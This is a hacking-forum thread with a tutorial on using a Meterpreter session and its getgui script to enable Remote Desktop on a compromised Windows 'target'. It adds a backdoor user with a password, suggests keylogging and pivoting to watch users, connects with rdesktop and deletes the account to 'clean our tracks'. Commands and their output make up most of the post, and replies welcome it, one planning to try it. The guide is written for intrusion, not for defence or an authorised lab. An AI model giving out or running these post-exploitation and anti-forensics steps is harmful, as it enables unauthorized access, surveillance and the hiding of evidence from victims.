Login Register






The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.
Thread Rating:
  • 0 Vote(s) - 0 Average


| HQ!! ENABLING RDP WITH METASPLOIT | filter_list
Author
Message
| HQ!! ENABLING RDP WITH METASPLOIT | #1


Hello Hack Community. Im quite bored and decided to make a small tutorial on how to enable a remote desktop connection using metasploit. Its really easy if you get a meterpreter script up. Just a couple of commands and you should have it up and running and ready to have some fun with a nice view of your target machine.

LEGIT'S TUT TO-DO LIST:

[*] Enable RDP with meterpreter's getgui script.
[*] Add new user.
[*] Make sure RDP is forwarded and we can connect to it.
[*] Monitor System Uptime and user activity.
[*] Connect to RDP & have some fun. :yeye:
[*] Once done, wipe everything & clean our tracks.

[+] STEP 1,2,3 IN ONE COMMAND.
[*] OBJECTIVES:
[*] Enable RDP with meterpreter's getgui script.
[*] Add new user.
[*] Make sure RDP is forwarded and we can connect to it.

[+] We are about to use getgui script and add a user -> LEGIT with the password -> pass & make sure our connection is forwarded so we can connect to it remotely from our system.

PHP Code:
meterpreter run getgui -h
Windows Remote Desktop Enabler Meterpreter Script
Usage
getgui -u  -
Or:    getgui -e

OPTIONS
:

    -
e  Enable RDP only.
    -
f   Forward RDP Connection.
    -
h  Help menu.
    -
l   The language switch
        
Possible Options'de_DE''en_EN' / default is'en_EN'
    
-p   The Password of the user

meterpreter 
run getgui --u LEGIT -p pass
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Language detection started
[*]     Language detecteden_US
[*] Setting user account for logon
[*]     Adding UserLEGIT with Passwordpass
[*]     Adding UserLEGIT to local group ''
[*]     Adding UserLEGIT to local group ''
[*] You can now login with the created user
[*] For cleanup use commandrun multi_console_command -rc /root/.msf3/logs/scripts/getgui/clean_up__20110112.2448.rc
meterpreter 


[+] Now thats we have RDP running and setup its time to move to our next objective and monitor system boot time, uptime, user activity, etc..

[+] STEP FOUR
[*] OBJECTIVES:
[*] Monitor System Uptime and user activity.

[+] This task will not be discussed as much because im sure if you can exploit the system you have at least enough knowledge to monitor the system and see when its up or not and whats going on. There are plenty of tools, you can monitor network traffic with wireshark, use the meterpreter's key_scan option and keylog the system or try pivoting through out the network to gain more information on users & the network layout. But I will through in a nice bash script to help with this when you exploit a linux system.

BASH SCRIPT:
PHP Code:
#!/bin/bash
CPUTIME=$(ps -eo pcpu awk 'NR>1' awk '{tot=tot+$1} END {print tot}')
CPUCORES=$(cat /proc/cpuinfo grep -c processor)
echo 
"
System Summary (collected on `date`)

 - CPU Cores  = `echo 
$CPUCORES`
 - CPU Usage (average)  = `echo 
$CPUTIME / $CPUCORES | bc`%
 - Memory free (real)  = `free -m | head -n 2 | tail -n 1 | awk {'print $4'}` Mb
 - Memory free (cache)  = `free -m | head -n 3 | tail -n 1 | awk {'print $3'}` Mb
 - Swap in use  = `free -m | tail -n 1 | awk {'print $3'}` Mb
 - System Uptime  = `uptime`
 - Local IPs  = `ifconfig | grep -B1 "
inet addr" | awk '$1 == "inet"{ print $2}'|awk -F: '{print $2}' |grep -v "127.0.0.1"
`
 - Public IP  = `dig +short myip.opendns.com @resolver1.opendns.com`
 - Disk Space Used  = `df -h|awk '$6 ~ /\/$/ {print $1 "
percentage used" $5 " out of " $2 " total on " $6}'
`
##


[+] STEP 5 & 6
[*] OBJECTIVES:
[*] Connect to RDP & have some fun. :yeye:
[*] Once done, wipe everything & clean our tracks.

[+] I will connect to RDP using linux command, windows users reading this, connecting to a remote RDP is pretty self explanatory so if you cant figure that out, I think you should just hang it up. So we are going to use the rdesktop command to connect.

PHP Code:
LEGIT@HF:-$ rdesktop -u LEGIT -p pass 192.168.1.103 

[+] There you go. You should be connected to your remote desktop connection and viewing your target screen. Now when your done and you want to wipe the user account and your track, you run this. (This is just for my computer, when you run getgui look at the bottom of the output and it should say the command to clean everything up)

PHP Code:
meterpreter run multi_console_command -rc /root/.msf3/logs/scripts/getgui/clean_up__20110112.2448.rc
[*] Running Command List ...
[*]     
Running command execute --f cmd.exe -"/c net user LEGIT /delete"
Process 288 created.
meterpreter 

Well thats the end of this TUT, hope you guys liked it!

[Image: 8Hd3UZQ.png]

My Private Tools:
[*] Private SQL INJECTION SCANNER! [*]

[*] HQ Tutiorals Too! [*]

Reply

RE: | HQ!! ENABLING RDP WITH METASPLOIT | #2
Nice tutorial, very detailed.

Reply

RE: | HQ!! ENABLING RDP WITH METASPLOIT | #3
really nice tutorial..!! i will try this exploit... Smile

Thank you..!!

Reply

RE: | HQ!! ENABLING RDP WITH METASPLOIT | #4
This is actually pretty interesting. Would love to see more metasploit tutorials around.



Reply







Users browsing this thread: 2 Guest(s)